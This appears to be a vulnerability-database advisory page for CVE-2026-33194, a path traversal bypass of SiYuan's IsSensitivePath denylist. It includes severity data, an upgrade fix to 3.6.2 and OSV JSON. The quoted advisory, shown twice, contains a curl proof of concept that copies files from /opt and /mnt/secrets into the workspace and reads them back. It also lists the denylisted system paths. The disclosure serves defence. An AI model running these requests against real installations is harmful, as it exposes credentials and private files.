CVE-2026-33194: Github.com/siyuan note/siyuan/kernel SiYuan Has An Incomplete Fix Vulnerability

MODERATE
Advisory Identifier: GHSA-vm69-h85x-8p85
CVSS 6.8
CWE-22
Published
Advisory Summary

CVE-2026-33194 is a MODERATE (CVSS 6.8) siyuan has an incomplete fix vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan has an incomplete fix for issensitivepath denylist allows file read from /opt, /usr, /home (ghsa-h5vh-m7fg-w5h6 bypass). Remediation is available by upgrading affected packages to version 3.6.2.

CVE-2026-33194 at a Glance

CVE Identifier CVE-2026-33194
GHSA Identifier GHSA-vm69-h85x-8p85
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/siyuan note/siyuan/kernel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-33194

To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 3.6.2
Upgrade github.com/siyuan-note/siyuan/kernel to 3.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33194, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. ## Details Current denylist in `kernel/util/path.go:391-405`: ```go prefixes := []string{ "/.", // dotfiles "/etc", // system config "/root", // root home "/var", // variable data "/proc", // process info "/sys", // sysfs "/run", // runtime data "/bin", // binaries "/boot", // boot files "/dev", // devices "/lib", // libraries "/srv", // service data "/tmp", // temp files } ``` **NOT blocked:** - `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself. - `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs - `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - `/mnt`, `/media` — mounted volumes, network shares, often containing secrets - `/snap` — snap package data - `/sbin`, `/lib64` — system binaries/libraries The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation: ```go if util.IsSensitivePath(absSrc) { // reject continue } // File is copied into workspace — then readable via /api/file/getFile ``` ## PoC ```bash # Read SiYuan's own application files from /opt (Docker deployment) curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}' # Then read the copied file from workspace curl -s 'http://127.0.0.1:6806/api/file/getFile' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"path":"data/assets/SiYuan-Kernel"}' # Read files from mounted volumes curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}' ``` ## Impact - Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets - The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked ## Recommended Fix Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths: ```go func IsSensitivePath(p string) bool { absPath := filepath.Clean(p) // Allowlist: only workspace and configured safe directories if strings.HasPrefix(absPath, WorkspaceDir) { // Block workspace-internal sensitive paths (conf/) if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) { return true } return false } // Everything outside workspace is sensitive by default return true } ```

CVE-2026-33194 Affected Github.com/siyuan note/siyuan/kernel Versions

1 component(s)
Fixed Versions:
3.6.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 3.6.2
3.6.2

References

Frequently Asked Questions

What is CVE-2026-33194?
CVE-2026-33194 is a security vulnerability in Github.com/siyuan note/siyuan/kernel involving SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass) under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/siyuan note/siyuan/kernel versions are affected?
Affected versions include releases prior to 3.6.2 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-33194?
Upgrading to 3.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 3.6.2. Upgrade your dependency to 3.6.2 or later.
What is the CVSS score of CVE-2026-33194?
CVE-2026-33194 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-33194?
CVE-2026-33194 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-33194?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vm69-h85x-8p85",
  "modified" : "2026-03-25T18:12:17Z",
  "published" : "2026-03-18T20:10:44Z",
  "aliases" : [ "CVE-2026-33194" ],
  "summary" : "SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)",
  "details" : "## Summary\n\nThe `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.\n\n## Details\n\nCurrent denylist in `kernel/util/path.go:391-405`:\n\n```go\nprefixes := []string{\n    \"/.\",       // dotfiles\n    \"/etc\",     // system config\n    \"/root\",    // root home\n    \"/var\",     // variable data\n    \"/proc\",    // process info\n    \"/sys\",     // sysfs\n    \"/run\",     // runtime data\n    \"/bin\",     // binaries\n    \"/boot\",    // boot files\n    \"/dev\",     // devices\n    \"/lib\",     // libraries\n    \"/srv\",     // service data\n    \"/tmp\",     // temp files\n}\n```\n\n**NOT blocked:**\n- `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.\n- `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs\n- `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)\n- `/mnt`, `/media` — mounted volumes, network shares, often containing secrets\n- `/snap` — snap package data\n- `/sbin`, `/lib64` — system binaries/libraries\n\nThe `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:\n\n```go\nif util.IsSensitivePath(absSrc) {\n    // reject\n    continue\n}\n// File is copied into workspace — then readable via /api/file/getFile\n```\n\n## PoC\n\n```bash\n# Read SiYuan's own application files from /opt (Docker deployment)\ncurl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"srcs\":[\"/opt/siyuan/kernel/SiYuan-Kernel\"],\"destDir\":\"data/assets\"}'\n\n# Then read the copied file from workspace\ncurl -s 'http://127.0.0.1:6806/api/file/getFile' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"path\":\"data/assets/SiYuan-Kernel\"}'\n\n# Read files from mounted volumes\ncurl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"srcs\":[\"/mnt/secrets/credentials.json\"],\"destDir\":\"data/assets\"}'\n```\n\n## Impact\n\n- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path\n- In Docker deployments: read application source code, configs, mounted secrets\n- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked\n\n## Recommended Fix\n\nSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:\n\n```go\nfunc IsSensitivePath(p string) bool {\n    absPath := filepath.Clean(p)\n\n    // Allowlist: only workspace and configured safe directories\n    if strings.HasPrefix(absPath, WorkspaceDir) {\n        // Block workspace-internal sensitive paths (conf/)\n        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, \"conf\")) {\n            return true\n        }\n        return false\n    }\n\n    // Everything outside workspace is sensitive by default\n    return true\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33194"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T20:10:44Z",
    "nvd_published_at" : "2026-03-20T23:16:45Z"
  }
}